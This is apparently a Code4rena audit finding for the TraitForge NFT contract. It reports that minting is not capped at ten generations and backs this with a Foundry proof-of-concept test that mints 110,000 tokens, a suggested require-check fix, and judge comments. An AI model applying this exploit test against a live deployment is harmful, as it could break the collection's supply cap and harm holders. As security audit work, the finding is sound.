howlbot-integration[bot] commented 3 months ago

Lines of code

https://github.com/code-423n4/2024-07-traitforge/blob/main/contracts/TraitForgeNft/TraitForgeNft.sol#L345

Vulnerability details

Impact

In 'TraitForgeNft' there should be a maximum number of generation (it should be capped at 10), but instead users can mint infinite generations and there is not a limit.

Proof of Concept

(Foundry)

function test_vulnerability_NumberOfGenerationsIsInfinite() public {
vm.startPrank(owner); 
//Here the owner sets all the contracts, transfer ownerhsip and writes batch
traitForgeNft.setAirdropContract(address(airdropContract));
traitForgeNft.setEntityForgingContract(address(entityForging));
traitForgeNft.setEntropyGenerator(address(entropyGenerator));
airdropContract.transferOwnership(address(traitForgeNft));
entropyGenerator.transferOwnership(address(traitForgeNft));
entropyGenerator.writeEntropyBatch1();
vm.stopPrank(); 

address user1 = address(123); 
//Assigning 100000 ether to user1
deal(user1, 100000 ether); 
vm.startPrank(user1); 
skip(2 days);
bytes32[] memory proof = new bytes32[](1); 
proof[0] = keccak256(abi.encode("Hi")); 

//User mints generation 1
uint256 price = traitForgeNft.startPrice(); 
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price}(proof);
price += traitForgeNft.priceIncrement() * traitForgeNft.getGeneration(); 
}
assertEq(traitForgeNft.balanceOf(user1), 10000); 
//User mints generation 2
uint256 price2 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price2}(proof);
price2 = traitForgeNft.calculateMintPrice(); 
}
assertEq(traitForgeNft.balanceOf(user1), 20000);
//User mints generation 3
uint256 price3 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price3}(proof);
price3 = traitForgeNft.calculateMintPrice(); 
}
assertEq(traitForgeNft.balanceOf(user1), 30000);
//User mints generation 4
uint256 price4 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price4}(proof);
price4 = traitForgeNft.calculateMintPrice(); 
}
assertEq(traitForgeNft.balanceOf(user1), 40000);
//User mints generation 5
uint256 price5 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price5}(proof);
price5 = traitForgeNft.calculateMintPrice(); 
}
assertEq(traitForgeNft.balanceOf(user1), 50000);
//User mints generation 6
uint256 price6 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price6}(proof);
price6 = traitForgeNft.calculateMintPrice(); 
}
assertEq(traitForgeNft.balanceOf(user1), 60000);
//User mints generation 7
uint256 price7 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price7}(proof);
price7 = traitForgeNft.calculateMintPrice(); 
}
assertEq(traitForgeNft.balanceOf(user1), 70000);
//User mints generation 8
uint256 price8 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price8}(proof);
price8 = traitForgeNft.calculateMintPrice(); 
}
assertEq(traitForgeNft.balanceOf(user1), 80000);
//User mints generation 9
uint256 price9 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price9}(proof);
price9 = traitForgeNft.calculateMintPrice(); 
}
assertEq(traitForgeNft.balanceOf(user1), 90000);
//User mints generation 10
uint256 price10 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price10}(proof);
price10 = traitForgeNft.calculateMintPrice(); 
}
assertEq(traitForgeNft.balanceOf(user1), 100000);
//User mints generation 11, this get also minted!
uint256 price11 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price11}(proof);
price11 = traitForgeNft.calculateMintPrice(); 
}
//Finally we can see that the user owns 110.000 NFT's, when the maximum would be 100.000
assertEq(traitForgeNft.balanceOf(user1), 110000);
}

Tools Used

Manual review

Recommended Mitigation Steps

In 'TraiForgeNft::_incrementGeneration' add a check in order to do not allow the the mint of the NFT's above the maximum generation.

Instead of doing this:

function _incrementGeneration() private {
    require(
      generationMintCounts[currentGeneration] >= maxTokensPerGen,
      'Generation limit not yet reached'
    );
    currentGeneration++;
    generationMintCounts[currentGeneration] = 0;
    priceIncrement = priceIncrement + priceIncrementByGen;
    entropyGenerator.initializeAlphaIndices();
    emit GenerationIncremented(currentGeneration);
  }

Consider doing this:

function _incrementGeneration() private {
    require(
      generationMintCounts[currentGeneration] >= maxTokensPerGen,
      'Generation limit not yet reached'
    );
    currentGeneration++;
    require(currentGeneration <= maxGeneration,
     'Maximum generation reached'
    ); 
    generationMintCounts[currentGeneration] = 0;
    priceIncrement = priceIncrement + priceIncrementByGen;
    entropyGenerator.initializeAlphaIndices();
    emit GenerationIncremented(currentGeneration);
  }

Assessed type

Other

koolexcrypto commented 2 months ago

I appreciate the PoC, would have be great to point out the root cause of this and give context, since this is enforced on forge but not on mintToken.

c4-judge commented 2 months ago

koolexcrypto marked the issue as satisfactory